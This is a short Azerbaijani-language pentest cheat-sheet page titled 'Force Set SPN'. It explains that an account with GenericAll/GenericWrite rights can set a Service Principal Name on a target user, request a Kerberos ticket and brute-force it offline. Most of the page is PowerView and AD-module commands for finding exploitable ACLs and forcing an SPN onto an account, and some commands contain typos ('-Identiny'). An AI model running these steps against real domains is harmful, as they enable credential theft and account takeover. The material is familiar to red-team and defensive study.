Force Set SPN
SPN nədir?
SPN Service Principal Name üçün qısaldılmışdır. O, Active Directory mühitində hesaba və ya xidmətə unikal şəxsiyyət vermək üçün istifadə edilən identifikatordur. SPN-lər çox vaxt Kerberos autentifikasiya protokolu ilə əlaqələndirilir.
SPN-dən necə istifadə edə bilərik?
Kifayət qədər icazələrimiz varsa (GenericAll/GenericWrite) biz hədəf hesaba SPN təyin edə, TGS tələb edə, sonra onun blobunu tutub bruteforce edə bilərik.
PowerView
#Hesablarda maraqlı icazələri yoxlayın:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
#Cari istifadəçinin artıq bir SPN təyin edib-etmədiyini yoxlayın
Get-DomainUser -Identity <UserName> | select serviceprincipalname
#Hesabda SPN təyin etməyə məcbur edin:
Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
AD Module:
#Cari istifadəçinin artıq bir SPN təyin edib-etmədiyini yoxlayın
Get-ADUser -Identity <UserName> -Properties ServicePrincipalName | select ServicePrincipalName
#Hesabda SPN təyin etməyə məcbur edin:
Set-ADUser -Identiny <UserName> -ServicePrincipalNames @{Add='ops/whatever1'}
Last updated
Was this helpful?